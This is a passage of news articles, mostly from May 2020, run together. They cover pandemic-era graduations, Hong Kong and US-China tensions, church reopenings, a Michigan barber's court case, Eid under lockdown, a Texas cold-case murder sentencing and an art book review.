Keep your head up, keep a positive mindset because it sucks, but its a unique experience," she said. "Nobody else has ever had this kind of thing...and its a story you can tell your kids and grandkids when you're old."

Matthew Harrison: Tufts University

Matthew Harrison celebrated his graduation from Tufts University through Zoom, which included students having their names read aloud along with any honors they received.

It was not as bad as I think I was expecting it to be, Harrison said. It was nice to be able to celebrate with my parents, that part felt typical.

Still, he was disappointed he wasnt able to celebrate with friends this spring, but is hoping to be able to do so at a later date when Tufts reschedules the in-person commencement ceremony.

Story continues

Image: 2020 grads (Courtesy Matthew Harrison)

Emily Polk: Odessa High School, Odessa, Texas

Seniors at Odessa High School are participating in a virtual graduation ceremony this weekend. The school obtained a photo and quote from each student and plans to stream the ceremony online so students can watch at home with their families.

I can watch it on TV but I kind of wish I could have a graduation ceremony [in person]," Polk said.

She still plans to celebrate virtually with her extended family.

I plan on having a video chat that way my family members can see me with my diploma and everything. They can send me wishes. Later I plan on having a party whenever were out of quarantine, she told NBC News.

Kristopher Hastings: The College of New Jersey

Kristopher Hastings is thankful that his entire family will be able to share in his graduation experience from across the country.

Its interesting, Im the first in my family to get a college degree, he said. Im more happy that they get to celebrate it with me. Thats what its all about, getting your family around to celebrate your accomplishments because without your family, you cant get to where you are.

Hastings' brother and nephew even plan to tune in from Alaska, while he celebrates at home with his parents and girlfriend.

Mychaela Wagner: West Brunswick High School, Shallotte, North Carolina

Mychaela Wagner was set to graduate with her class of over 300 students on June 6. Instead, the school moved the ceremony to May 27, where they will have small groups of students graduate at a time throughout the day; the school also plans to have a parade on June 6 to recognize and celebrate all the seniors at our high school, Wagner said.

Wagner and her family are still planning to celebrate virtually with friends and family.

My mom set up a Facebook event and she was telling everybody, all friends and family, that they can send something, just to show some appreciation with everything thats going on, she said.

"Its not the end of the world and there are ways we can make it better." Wagner added. "Everybody will rise up and get through this.

Kendall Kahn: Appalachian State University

Kendall Kahn embraced the fact that she and her friends had virtual commencements this year, because they got to listen to each others ceremonies, which they wouldnt have been able to do if they had in-person graduations.

Kahn is graduating from the college of education, but she has friends in the college of health sciences.

That was very special, she said. I feel like they did a really good job celebrating us and making it a special moment.

Image: 2020 grads (Courtesy Kendall Kahn)

Malakai Mills: Hammond High Magnet School, Hammond, Louisiana

Hammond High Magnet School seniors graduated virtually on May 12, though it wasnt exactly the ceremony Malakai Mills had in mind.

It still didnt really feel like a graduation, he said. Ive worked for 4 years to get to this point, I did the tests, I wrote my essays, spent late nights trying to study and I was excited, I was ready for my chance to walk across the stage and get my diploma, and for my family to be there. Its something thats special. I worked hard for it and it was nothing like I was expecting or hoping for.

Mills and his family watched the ceremony together, and he even took pictures in his cap and gown.

His family is already talking about putting together a little party in our backyard with our family that lives in the area.

Amanda Madenberg: Cornell University

Cornell senior Amanda Madenberg will celebrate her graduation with family over Zoom this year, after her commencement ceremony was postponed.

She and her friends have kept in touch through Zoom and FaceTime after the schools in-person classes were canceled for the remainder of the spring semester, and she said theyll likely get together for some kind of video chat to celebrate their graduation this spring.

While her final semester has been manageable, Madenberg said shes had to readjust many of her expectations for her senior year.

Theres also a part of me that feels really robbed of all these experiences I was supposed to have this semester, she said. I was really looking forward to it for years, since I started at Cornell.

Adilene Tolentino: The University of Utah

Adilene Tolentino has been waiting to walk across the stage since she graduated at the end of the fall 2019 semester. But now, she has to wait until next December to have a traditional college graduation.

"We didnt get a ceremony because we had to wait for spring of 2020 to be done...I already had to wait five months to get a ceremony, Tolentino, 22, said.

Her school had a virtual ceremony to celebrate 2020 grads in early May, but Tolentino didnt attend, choosing to instead spend the day with her family, who've been keeping her spirits up.

"My parents just reminded me that it wasn't really about the ceremony. It was about my accomplishment of getting my degree and finishing school," she said. "At the end I really did get what I wanted. I have my degree and I'm done with school."

Lauren Elizabeth Louton: Lake Hamilton High School, Pearcy, Arkansas

Lauren Elizabeth Louton described her senior year as a bit disappointing.

I didnt see it coming and I wasnt prepared for it," she said of the pandemic and related shutdowns.

Seniors at Lake Hamilton High School were supposed to graduate in-person on May 15. However, they graduated virtually on May 22, with the hopes of having an in-person ceremony on June 26.

Each student provided the school with a photo in their cap and gown, as well as a thank you or appreciate note that could be read aloud during the ceremony.

Louton and her family havent made any official celebration plans, but they hosted a Facebook event where family and friends were able to watch the ceremony virtually with them.

Theyre holding out hope theres going to be an in-person one," she said.

Image: 2020 grads (Courtesy Lauren Elizabeth Louton)

Joel Chavez: Pyramid Lake High School, Nixon, Nevada

Seniors at Pyramid Lake High School are planning to attend a drive-through graduation ceremony on May 29, except for Joel Chavez, who left Nevada to quarantine with his family in Texas at the beginning of the pandemic.

Chavez told NBC News he's sad he's missing out on the ceremony, because he won't be able to see any of his friends and teachers who've supported him this year. However, he still plans to watch the ceremony on FaceTime with some of his family and friends from Texas.

He is hoping to have a get-together with his school friends once restrictions ease up but said in the meantime, just keep going forward. Tough times dont last, tough people do."

Ryan Corcoran: West Virginia University

For Ryan Corcoran, 21, a virtual commencement was not ideal, nor what he imagined for the end of his college career. Though his school held the commencement online, Corcoran said, it was a little underwhelming because it wasnt how any of us pictured graduating.

This semester was very hard on us. One of our friends passed away in January so it kind of affected us in a bad way, Corcoran said. She was supposed to graduate with us. It didnt start off great, then the quarantine began and it just kind of ended our senior [year], which was supposed to be about being able to spend time with friends you made for the last time in an easy setting because we all live so close.

Corcoran was able to celebrate the virtual commencement with his parents, his roommates family and a few other friends who were still in town. West Virginia University invited graduates back for a traditional ceremony in December, he said.

Image: 2020 grads (Courtesy Ryan Corcoran)

Kadence Stonecypher: Rockmart High School, Rockmart, Georgia

Students at Rockmart High School were set to graduate on May 22. Instead, the school held a parade and rescheduled the in-person ceremony for June 22, where they are planning to allow each student to bring four guests.

"Were hoping to do it [a graduation ceremony] in person if the gathering ban is lifted but if not, well do three people coming in at a time to hangout and then rotate out," Stonecypher said. My family doesnt feel they should have to put off a party for me because of whats going on.

Sean Mullee: Miami University, Oxford, Ohio

Sean Mullee's class received a specially-made virtual graduation this year, designed by an alumnus who works for a game development company. It was a virtual space students could go in with an avatar and talk to others, such as classmates and professors.

Given the circumstances, I really enjoyed it. I really respect and appreciate all the work Miami did, Mullee said. Theyre clearly doing the best they can given the circumstances.

Inside the room were three virtual screens: one flashed names of all the graduates with a slide for each one and another slide flashed faculty members. The middle screen showed the virtual ceremony. Mullees friends and family used Twitch to watch it.

His school is planning for a traditional ceremony in the fall, Mullee said.

Obviously it wasnt what I hoped or expected for sure, but given the circumstances I think I had the best year I couldve, he said.

Gabrielle Pierce: Xavier University of Louisiana

Torrence Burson was heartbroken when he learned his daughter, Gabrielle Pierce, would have her college graduation postponed this year.

"Thats something that we all had been waiting on, Burson said. It was very difficult to see her that way."

So, he got to brainstorming and put together a graduation ceremony in the familys driveway -- complete with a stage he got from a local rental company and a speech by Pierce's aunt.

I was just very humbled that my dad would do this for me, to have a stage for me, have my family come out," Pierce, 23, said. "I was just beyond thankful for everything."

Image: 2020 grads (Courtesy Gabrielle Pierce)

Richard Shaw: Centennial High School, Roswell, Georgia

Centennial High School held a virtual graduation as well as a drive-by photo opportunity on May 20. Each senior was able to drive by the school with one car of family members and get out to take a photo on the stage with one family member. There was also a virtual graduation streamed live on YouTube.

Shaws family threw him a virtual graduation party, complete with a Facebook page, where his family members were able to log on and wish him well. He said his immediate family spent time outside and had a cookout.

Miriam Ludwig: Ithaca College

Miriam Ludwigs school is planning for an August commencement, but held a virtual graduation for seniors in the meantime.

It doesnt really feel real, it kind of felt like I was playing dress up and [it] was practice, Ludwig said. I dont think it hit me, maybe when my diploma comes in the mail itll all feel real, but it didnt really feel like it was happening.

Ludwigs sister let her borrow her cap and gown for the virtual ceremony, since she doesnt have hers yet, and started the day with brunch. She later walked out in the cap and gown to music and also walked through her yard, where her family hung signs and banners congratulating her.

I think Im looking forward to getting to see my professors and thank them and have closure with getting to say goodbye to my friends [at the actual ceremony], Ludwig added.

Image: 2020 grads (Courtesy Miriam Ludwig)

Benjamin Eisenberg: Miami Arts Studio 6-12 @ Zelda Glazer, Miami, Florida

Miami Arts Studio is planning a parade in the beginning of June to honor the senior class. Ahead of the ceremony, the school organized a drive-by caravan where they brought each student their cap and tassel, including Benjamin Eisenberg.

"It was really great because my school is a good 45 minute drive from my house," Eisenberg told NBC News.

While the virtual celebration isnt exactly what Eisenberg and his friends had in mind, he's still optimistic about graduation.

"All I can say is at this point just look at the positives of every situation," he said.

Image: Benjamin Eisenberg (Courtesy Neil Eisenberg)

Julia DeLeon: North Central Texas College

Julia DeLeon said getting through school has been a long, long journey for her, so when she learned her graduation would be rescheduled as a virtual ceremony, she was disappointed.

I was kind of sad because I wanted to graduate with my accomplishments, said DeLeon, whos receiving her associates degree in arts.

Shes still planning to celebrate the special day with her family, and said her mom is keeping their plans a surprise until then.

Im hoping it will be a great accomplishment for my journey that Im going through, DeLeon said, adding, hopefully once June comes around well be able to actually celebrate with my extended family and friends.

Dominic Austin: Coral Shores High School, Tavernier, Florida

Seniors at Coral Shores High School are set to graduate virtually on May 27 during a YouTube livestream.

"At first I was kind of sad, not being able to have prom, not being able to walk across the stage," Dominic Austin said.

However, "Our graduation class is receiving more recognition than the last century or so has ever received," he said. I think its something I lived with and something I can say Im proud to live though and create a bunch of good stories.

Austin plans to throw a party with friends and family in person at a later date, once some restrictions are lifted.
A man linked last year by DNA technology to a 1992 slaying has been sentenced to 75 years in prison for killing a 15-year-old girl after a Diez y Sies de Septiembre celebration in Seguin.

Guadalupe Chino Sandoval, sentenced on Monday, was convicted Friday after a one-week trial.

District Attorney Bud Kirkendall had asked for a life sentence. Because 1992 sentencing laws applied, Sandoval, now 35, will be eligible for parole in 14 years. Under current law, he wouldn't be eligible for parole for 29 years.

The nude body of Eglena Diaz DeLeon, 15, was found in a church courtyard less than a block from the town square only hours after a celebration that attracted about 10,000 people. She had been strangled and her throat slashed.

The case went unsolved for a decade, while Sandoval married, had two children and lived just 11 miles southwest of Seguin in Marion, working as a welder.

Sandoval had been a suspect, but police were never able to build a case against him strong enough to file charges.

The case was reopened in 2001 as part of the Texas Department of Public Safety's Cold Case Unit. Better DNA testing methods developed in recent years showed the victim's blood and Sandoval's mucous on a blue bandanna that was found near the murder scene, providing the only physical evidence linking Sandoval to DeLeon.

Kirkendall said three people saw Sandoval near the crime scene and said Sandoval lied about where he was and whom he was with that night. Sandoval also cut his distinctive ponytail off the day a police sketch of the suspect was released, Kirkendall said.

Defense attorney John Lock vowed to appeal the verdict.

"In a case like this, where we have a 15-year-old victim, a sentence of less than life shows the jury was listening to something the defense was saying," Lock told the San Antonio Express-News.

Seguin is about 30 miles east of San Antonio.

Information from: San Antonio Express-News
Sue Perkins says the coronavirus pandemic has made her release she has been a selfish sausage.

The comedian, 50, is hosting a series of online auctions to raise funds for personal protective equipment (PPE) for hospitals, care homes and hospices.

She said she felt a sense of total impotence and rising fury about a lack of PPE.

Cream tea with @Dawn_French? A bespoke quiz created for you by @lucyportercomic and Justin Edwards? A chat with @THEKERRYHOWARD. A piece of pottery, custom lipstick? A Line of Duty mug? These and many other lots are up for gabs in the @asksformasks auction https://t.co/sxL1AQpVK2  asksformasks (@asksformasks) May 19, 2020

Perkins told Good Morning Britain: You wouldnt ask a fireman to go into a burning building in pants, so why are we asking those in community care settings and hospitals to treat a deadly virus without the necessary things they need to do their job safely?

The former Great British Bake Off host said of lockdown: Ive gone so nuts Ive taken up crochet. Im a very anxious person, so Ive been doing some meditation.

Live in just a few minutes with a promise of my silly chum Melanie Gyzoysryhzzzghzoyc. JOIN US!!! Xxxx https://t.co/w9GoGrXdZ8  Sue Perkins  (@sueperkins) May 21, 2020

But she added: Im genuinely trying to do more in the community.

I realised what an extraordinarily selfish sausage Ive been.

The shining light in all of this has been to meet my neighbours and get out and about and do things for people who arent as incredibly lucky as I am.

Video of the Day

The auction is at www.asksformasks.co.uk/live-stream


WASHINGTON (dpa-AFX) - Crude oil prices drifted lower on Friday as concerns about outlook for energy demand resurfaced due to rising tensions between the U.S. and China over the Hong Kong issue.



The Chinese government's decision that it will not publish an annual growth target due to uncertainties amid the coronavirus pandemic also weighed on crude oil prices.



Output reductions by OPEC and allies, and data from Baker Hughes showing another drop in oil rig count in the U.S. helped limit oil's slide.



West Texas Intermediate Crude oil futures for July ended down $0.67, or about 2%, at $33.25 a barrel.



Brent crude futures ended down $0.93, or 2.58%, at $35.13 a barrel.



WTI crude futures gained almost 13% in the week, its fourth weekly uptick.



At the annual session of National People's Congress in Beijing, Premier Li Keqiang said the country will face some factors that are difficult to predict in its development due to the great uncertainty regarding the Covid-19 pandemic and the world economic and trade environment.



In political news, China's decision to write a new national security law into Hong Kong's charter has triggered fresh worries on U.S.-China relations.



Republican and Democratic U.S. Senators said on Thursday that they would introduce legislation to impose sanctions on Chinese officials involved in enforcing proposed security laws in Hong Kong.



The legislation would also impose secondary sanctions on banks that do business with entities found to violate the law guaranteeing Hong Kong's autonomy.



The agressive intent of the Congress with regard to the tone on China is due to China's alleged role in covering up the initial stages of the coronavirus outbreak.



According to Baker Hughes, the number of active U.S. rigs drilling for oil dropped to 237 this week, down 21 from previous week.



The total rig count has also dropped by 21 this week to 318.



Copyright RTT News/dpa-AFX

Kostenloser Wertpapierhandel auf Smartbroker.de
Trump says churches, mosques and synagogues provide essential services and calls on governors to allow them to reopen.

United States President Donald Trump on Friday declared churches and other houses of worship essential and called on governors across the country to allow them to reopen this weekend despite the threat of spreading the coronavirus.

Today Im identifying houses of worship  churches, synagogues and mosques  as essential places that provide essential services, Trump said during a hastily arranged news conference at the White House, where he did not take questions. He said if governors dont abide by his request, he will override them, though it is unclear what authority he has to do so.

The US Centers for Disease Control and Prevention had prepared a draft of reopening guidelines for churches and other houses of worship weeks ago that included measures like maintaining distance between parishioners and limiting the size of gatherings.

But that guidance had been delayed for more than a month by the administration until Trump abruptly changed course on Thursday.

I said, You better put it out. And theyre doing it, Trump said during a tour of a Ford Motor Co plant repurposed to make ventilators in Michigan. And theyre going to be issuing something today or tomorrow on churches. Weve got to get our churches open.

Trump on Friday stressed the importance of churches in many communities and took issue with some of the businesses that had been allowed to reopen.

Some governors have deemed liquor stores and abortion clinics as essential but not churches, he said. Its not right. So Im correcting this injustice and calling houses of worship essential.

These are places that hold our society together and keep our people united. The people are demanding to go to church and synagogue, go to their mosque, he said.

Pundits were quick to blast Trumps announcement.

State governors dont work for Trump and he cant override them via presidential decree, Renato Mariotti, a former federal prosecutor, said in a tweet.

State governors dont work for Trump and he cant override them via presidential decree. Trump should read the Constitution or speak to someone who has before proclaiming that he has the power to do something. https://t.co/0n8PJrX3HY  Renato Mariotti (@renato_mariotti) May 22, 2020

A survey conducted by the Associated Press and the NORC Center for Public Affairs Research found that 67 percent of respondents attended religious services at least once a month prior to lockdowns. But only 38 percent said they would attend services if they are allowed in the next few weeks, according to the poll.

Trump previously said he wanted churches to be reopened by Easter Sunday, on April 12, but that was dismissed by his own health experts, who said it was too risky. In recent weeks churches in some states have started to reopen as restrictions have loosened.
The United States on Friday stepped up threats to strip Hong Kong of special trading privileges as it led Western nations in anger over China's brazen assault on the territory's autonomy.

US lawmakers are pressing for tough action over Hong Kong, which has become the latest front in soaring tensions between Washington and Beijing, but even some supporters of the territory's democracy movement ask if the "nuclear option" would be effective.

Secretary of State Mike Pompeo said that a proposed national security law, submitted Friday to China's rubber-stamp legislature, would be a "death knell for the high degree of autonomy Beijing promised for Hong Kong."

The new law would enforce punishment for "subversion" and other perceived offenses in the city, which was swept by months of massive and occasionally violent pro-democracy protests last year.

In a show of support for demonstrators, the US Congress last year overwhelmingly approved a law that would end Hong Kong's preferential trade access to the world's largest economy if it is no longer certified as enjoying autonomy -- which Beijing promised before regaining control of the then British colony in 1997.

Pompeo said that Beijing's latest moves would "inevitably" influence the State Department's decision.

"The United States strongly urges Beijing to reconsider its disastrous proposal, abide by its international obligations, and respect Hong Kong's high degree of autonomy, democratic institutions and civil liberties, which are key to preserving its special status under US law," Pompeo said in a statement.

'A Nuclear Option'

Pompeo had delayed the certification decision, citing the just-started session of the National People's Congress, and lawmakers had earlier anticipated that President Donald Trump's administration would shy away from ending Hong Kong's trading status.

Trump had only reluctantly signed the Hong Kong act, which was strongly opposed by Beijing, as he was negotiating a deal to end a trade war with China.

Dennis Kwok, a pro-democracy lawmaker in Hong Kong, told a US-based audience on Friday that the territory's opposition forces appreciated US efforts and urged continued vigilance, voicing fear for police crackdowns in the coming days.

He nevertheless cautioned of the risks of the United States revoking the city's trading status, while acknowledging that many in Hong Kong were angry and would back the move.

"This is almost like a nuclear option, which once you use it, everyone will get hurt, and it will be very hard to build Hong Kong back up again," Kwok told the conservative Heritage Foundation by videoconference.

Kwok said the most effective leverage would be to stress how investors would be spooked by the narrowing of autonomy in Hong Kong, one of the world's pre-eminent financial capitals.

"If China is so stupid as to believe that they can do away with Hong Kong and they don't need an international financial center, then of course there's nothing which one could do to dissuade them to do otherwise," he said.

Senior Trump economic advisor Kevin Hassett made a similar case to reporters at the White House, saying that "disdain for the rule of law" would be "very, very bad for the Chinese economy."

'Most Dangerous Moment'

Hong Kong is only one flashpoint between the United States and China, the world's top two economies.

Trump and Pompeo have accused Beijing of being responsible for the coronavirus pandemic by not acting more quickly -- an argument that critics say is meant to deflect from Trump's own handling of the crisis.

Richard Haass, president of the Council on Foreign Relations, warned that the Pacific powers were at "their most dangerous moment" since they normalized relations four decades ago.

"There is a growing list of disagreements (Hong Kong being but the most recent) but no strategic rationale for the relationship or plan to limit friction. Both countries stand to lose," Haass wrote on Twitter.

Congress, with broad bipartisan support, is looking to ratchet up the pressure.

Following China's announcement on the law, two senators, Republican Pat Toomey and Democrat Chris Van Hollen, proposed a law that would impose sanctions on anyone involved in curtailing Hong Kong's autonomy, including banks.

Senator Marco Rubio, a prominent Trump ally, said that Hong Kong showed that China will "lie to get any deal."

Martin Lee, considered the grandfather of Hong Kong's democracy movement, made a similar point to the Heritage Foundation, warning that Beijing could renege on Trump's cherished trade agreement.

"If Beijing can with impunity rip (up) an international agreement registered with the United Nations at will without being held accountable for it, Beijing would thereby be encouraged to break more international agreements with other countries," Lee said.
A judge on Thursday rejected a request to force scissors out of the hands of a defiant Michigan barber during the coronavirus pandemic.

The state health department failed to show that Karl Manke's shop was a specific threat to public health, Shiawassee County Judge Matthew Stewart said.

Manke reopened his shop in Owosso on May 4, drawing customers from across the state who were inspired by his plea for freedom from a government shutdown.

Gov. Gretchen Whitmer said barber shops and hair salons are risky places because of the contagious virus.

Manke, 77, has received at least two tickets for violating Whitmer's orders, and his barber license was suspended last week. Nonetheless, he said he's still cutting hair  'Oh, heavens yes'  including the hair of a two-year-old Thursday.

'Listen, I've been in this business for 59 years. She wants to come cut my hands off, that's another story,' Manke said in an interview, referring to the governor.

An Owosso police officer asks to talk with Karl Manke outside before ticketing Karl for being open at Karl's barber shop on Wednesday, May 6. A judge on Thursday ruled he stay open

Barber Karl Manke cuts hair at the Michigan Conservative Coalition organized "Operation Haircut" outside the Michigan State Capitol in Lansing, Michigan on Wednesday

He was one of a dozen barbers and hair stylists who defied stay-at-home orders to give free hair cuts outside the Michigan Capitol on Wednesday.

Manke said he needs to work and can keep his shop and customers safe. He has been hailed as a hero by some people who have driven an hour or more to get a haircut.

'The government is not my mother, never has been,' Manke said Monday. 'I've been in business longer than theyve been alive.'

Earlier, a judge held a hearing via video conference on the Whitmer administration's request for an injunction to close the shop. More than 400 people watched online as the state argued that Manke was violating health department orders.

'People can't simply say, 'I don't agree' and do whatever they want,' Assistant Attorney General Joseph Potchen said. 'It's not how our legal system works.'

Manke reopened his shop in Owosso on May 4, drawing customers from across the state who were inspired by his plea for freedom from a government shutdown

Gov. Gretchen Whitmer said barber shops and hair salons are risky places because of the contagious virus

But Stewart said photos and an affidavit from Michigan's chief medical executive weren't enough to show that hair cutting and the shop conditions would contribute to the spread of the coronavirus and COVID-19.

'That's not enough to tip the scales, no matter how great the public emergency,' said Stewart, who nonetheless called it a 'close call.'

He repeatedly noted that authorities could have arrested Manke if they believed his shop was a steady danger.

'You can't just argue COVID is awful, it's killing people. Who disputes that?' Manke's attorney, Dave Kallman, said later. 'They have to show the barber shop is spreading the virus. The judge saw it clearly.'

While Manke's case was in court, Whitmer lifted restrictions on more parts of Michigan's economy, although barber shops and hair salons weren't included.

With his outspoken, gregarious style, Manke has become a hero to some people. He cut hair for free Wednesday during a protest at the Capitol.

A judge held a hearing via video conference on the Whitmer administration's request for an injunction to close the shop. More than 400 people watched online as the state argued that Manke was violating health department orders

Pandemic politics also shadowed President Donald Trump's trip to Michigan on Thursday.

Trump visited Ypsilanti, outside Detroit, to tour a Ford Motor Co. factory that had been repurposed to manufacture ventilators, the medical breathing machines governors begged for during the height of the COVID-19 pandemic.

But his arrival came amid a long-running feud with the state's Democratic governor and a day after the president threatened to withhold federal funds over the state's expanded vote-by-mail effort.

And, again, the president did not wear a face covering despite a warning from the state's top law enforcement officer that a refusal to do so might lead to a ban on Trumps return.

Trump on Thursday offered veiled criticism of Whitmer and other Democratic governors, suggesting that they were proceeding too slowly in reopening their states' economies.

Last month, Trump tweeted 'LIBERATE MICHIGAN' as residents there and in other states began holding protests against orders to stay at home.
The second half of the book reproduces images, many of them full-page, of the works youd have found on the Breuers walls. But its the essays in the books first half that provide the scholarly context and critique that museumgoers wouldnt have found simply by reading wall plaques. Buchloh, an art history professor at Harvard, addresses the ethics of Richters 2014 Birkenau paintings and the artists career-long preoccupation with representing the Holocaust. The Met curator Brinda Kumar dissects decades worth of Richters landscapes, including a series called Transformation in which a snow-capped mountainscape becomes so abstracted it looks eerily like a sonogram. In his essay In a Glass, Darkly, Princetons Hal Foster names the tension in Richters 1967 4 Panes of Glass, between what we know  there are four large identical rectangles in front of us  and what we perceive. Through this dissonance, Foster argues, in an apt summary of Richters entire oeuvre, the artist stages an almost Cartesian doubt about our apprehension of reality.

MARKING TIME

Art in the Age of Mass Incarceration

By Nicole R. Fleetwood

Illustrated. 323 pp. Harvard University. $39.95.

The one thing I knew and understood while I was sitting on death row, the Tennessee inmate Ndume Olatushani said in an interview after he was released: Even though youve got me in this colorless environment, you cant stop the color that was actually happening in my head. Imprisoned for 27 years and sentenced to death, for a murder he didnt commit, Olatushani had nowhere to turn but to art. A 1993 painting called Winds of Change, reproduced in Fleetwoods book Marking Time, presents four black figures draped in vivid, jewel-toned fabrics looking out at an open expanse of lush green land, high above a calm blue river. Through Olatushanis use of color and depictions of free black people, Fleetwood writes, he created imaginary worlds and communities that sustained him during his incarceration.
In this Dec. 8, 2019, file photo, protesters attend a Human Rights Day march in the district of Causeway Bay in Hong Kong. Reuters





Chinese legislators are expected to discuss a new law concerning Hong Kong's national security at the upcoming parliamentary session. The law would ban all seditious activities aimed at toppling the central government and external interference in the city's affairs, as well as target terrorist acts in the special administrative region, sources say. Here is a rundown of the background of the issue.



What does Hong Kong need a national security law for and why does it not have one?



Under Article 23 of the Basic Law, or the city's mini-constitution, the Hong Kong government must enact its own national security law prohibiting acts of "treason, secession, sedition, subversion against the central people's government, or theft of state secrets  and to prohibit political organisations or bodies of the region from establishing ties with foreign political organisations or bodies".



In 2003, the Hong Kong government was forced to shelve a national security bill after an estimated half a million people took to the streets to oppose the legislation, which they warned would curb their rights and freedoms.






Asia Malaysia Confirms More Coronavirus Cases at Migrant Detention Center

Police officers wearing protective suits pick up an illegal immigrant from an apartment under enhanced lockdown amid the COVID-19 outbreak in Kuala Lumpur, Malaysia on May 1, 2020. / REUTERS

KUALA LUMPURMalaysia reported 35 new coronavirus cases at an immigration detention center on Thursday, after authorities rounded up undocumented migrants this month in areas under lockdown.

The United Nations has called on Malaysia to stop the crackdown, which it said has spread fear among migrant communities in Southeast Asias third-largest economy, which has so far reported 7,059 cases, with 114 deaths.

Malaysian authorities have detained more than 1,800 migrants in at least two raids as part of efforts to contain the spread of the coronavirus, raising concerns they could instead raise infection risks in overcrowded detention centers.

The Health Ministry said on Thursday it had 35 confirmed cases at the Bukit Jalil immigration detention center, located on the outskirts of the capital Kuala Lumpur, out of 645 people who were being held in one block at the center.

The source of infection is still under investigation  we need to investigate in detail before making any comments, the ministrys director-general, Noor Hisham Abdullah, told a daily news conference broadcast live on national television.

Noor Hisham said the 35 positive cases include 17 people from Myanmar, 15 from India and one each from Sri Lanka, Bangladesh and Egypt.

They were detained before Malaysia imposed movement and business curbs on March 18, aimed at containing the spread of the pandemic, and did not have any interaction with others who were detained after that, Noor Hisham said.

Felipe Gonzalez Morales, the UNs special rapporteur on the human rights of migrants, said on Wednesday that Malaysias approach was not helping to curb the coronavirus pandemic.

The current crackdown and hate campaign are severely undermining the effort to fight the pandemic in the country.

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Noida: Nine more people, including two employees of a Chinese phone manufacturing firm, tested positive for coronavirus in Uttar Pradesh's Gautam Buddh Nagar on Thursday, as COVID-19 cases in the district crossed the 300-mark, officials said. Also, two patients were discharged after they recovered from the disease, taking the number of active cases in the district to 88, the officials said.

District Surveillance Officer Sunil Dohare said 45 test results were obtained from the Government Institute of Medical Sciences (GIMS) and 21 from the National Institute of Biologicals (NIB) on Thursday, while others were from private labs.

"One result from the GIMS and two from NIB were found positive, while six from private laboratories were also found positive," he said.

The senior doctor said five employees of phone-maker Oppo have tested positive for coronavirus and two of them are residents of Gautam Buddh Nagar, while one is from nearby Mathura district and two hail from Bihar.

The locals have been counted among the new patients in the district, he added.

"Nine people including two employees of Oppo have tested positive for COVID-19 on Thursday and total positive cases till date stand at 302. Two were discharged and total 209 patients have been cured so far. There are 88 active cases now," the officer said in a statement.

Among the new patients, four are from Noida, three from Greater Noida and two from Greater Noida (West), also known as Noida Extension, according to the statement.

There was no official response from Oppo immediately on the matter.

Gautam Buddh Nagar, adjoining Delhi, in western UP has so far recorded five COVID-19-linked deaths ? all males aged above 60, according to officials.

A 71-year-old Bulandshahr resident also succumbed due to COVID-19, pneumonia and severe sepsis at a government hospital in Greater Noida on Wednesday but his death was not counted in the district, the officials said.
Muslims worldwide will celebrate one of their biggest holidays under the long shadow of the coronavirus, with millions confined to their homes and others gripped by economic concerns during what is usually a festive time of shopping and celebration.

The three-day Eid al-Fitr marks the end of the fasting month of Ramzan for the world's 1.8 billion Muslims. People usually celebrate by travelling, visiting family and gathering for lavish meals all of which will be largely prohibited as authorities try to prevent new virus outbreaks.

The holiday will begin on Saturday or Sunday, depending on the sighting of the new moon, and the dawn-to-dusk fasting of Ramadan will come to an end.

Some countries, including Turkey, Iraq and Jordan, will impose round-the-clock curfews for the duration of the holiday. In Saudi Arabia home to the holy cities of Mecca and Medina people will only be allowed to leave their homes to buy food and medicine.

But even in countries that have largely reopened, the holiday won't be the same.

Most restrictions have been lifted in Jerusalem, but the Al-Aqsa mosque compound the third holiest site in Islam will remain closed until after the holiday. Shopkeepers in the Old City, which has been emptied of tourists and pilgrims since March, are reeling from the effects of six weeks of lockdown.

The Jafar family's famous sweets shop in the Old City is normally a hive of activity, with tourists and locals enjoying knafeh, a syrupy cheese-filled pastry. These days the seating area is empty and dark as only takeout is allowed.

"It had a huge impact on us, said Ali Jafar, one of the owners, as he worked the counter. He said business has dropped by more than two thirds, forcing them to lay off 10 workers.

In Egypt, authorities have extended the nighttime curfew, which will now begin at 5 pm instead of 9 pm, and halted public transportation until May 29. Shopping centers, malls, beaches and parks which would ordinarily be packed will be closed.

Manal Zakaria, who lives in the city of Alexandria on the Mediterranean coast, said her family usually celebrates by gathering for big meals, singing, dancing and taking group photos.

I am very, very, very sad because I will not be seeing my siblings and their children," she said. "No matter how much we talk over the phone, there is nothing like coming together.

The virus causes mild to moderate symptoms in most people, who recover within a few weeks. But it is highly contagious and can cause severe illness or death, particularly in older patients or those with underlying health problems.

In Indonesia, the largest Muslim-majority country, President Joko Widodo said restrictions would remain in place through the holiday. The country, with a population of 270 million, has reported more than 18,000 cases, including around 1,200 deaths.

I emphasize, there is no relaxing the policy of large-scale social restriction yet, Widodo said during a virtual Cabinet meeting on Monday.

Since the start of the Ramzan, the government has imposed an outright ban on mudik, a holiday tradition in which millions of Indonesians living in big cities flock to their hometowns to celebrate with relatives. Health experts had warned it could set off a wave of new cases.

This ongoing pandemic has changed our tradition, separated us in celebrating Eid, said Noor Hidayat Asri, a civil servant in Indonesia's capital, Jakarta. We are like dealing with a merciless and invisible enemy this time around.

Malaysia will allow people to visit relatives who live nearby, but such gatherings are limited to 20 people. Visitors are urged to wear face masks and to refrain from hugging, kissing and sharing plates. Some mosques have reopened, but congregations are limited to 30 people.

India's 172 million Muslims are also preparing for a subdued holiday, with large gatherings banned. They have faced heightened stigma, threats and boycotts by many Hindus, who blame the local outbreak on a three-day convention of Islamic missionaries held in March.

In some states, Indian Muslims have launched campaigns urging people to refrain from buying new clothes for the holiday and instead give to the needy. In Iran, which has endured the deadliest outbreak in the Middle East, authorities have imposed few restrictions ahead of the holiday aside from cancelling mass prayers in Tehran traditionally led by Supreme Leader Ayatollah Ali Khamenei.

Iran has faced criticism for not imposing the kind of lockdown seen elsewhere in the region, but authorities have said they had to weigh the effects on an economy eviscerated by US sanctions. Iran has reported nearly 130,000 cases and more than 7,000 deaths, but the rate of new infections has declined in recent weeks.

In Iraq, the government has allowed most businesses to reopen in the last few weeks but plans to reinstate a 24-hour curfew over the holiday. The streets were busy in the days leading up to Eid as people shopped for clothes, toys and home appliances.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
[May 22, 2020] FinTech Alliance SaaS Solution Marks Change in Korean Finance Market

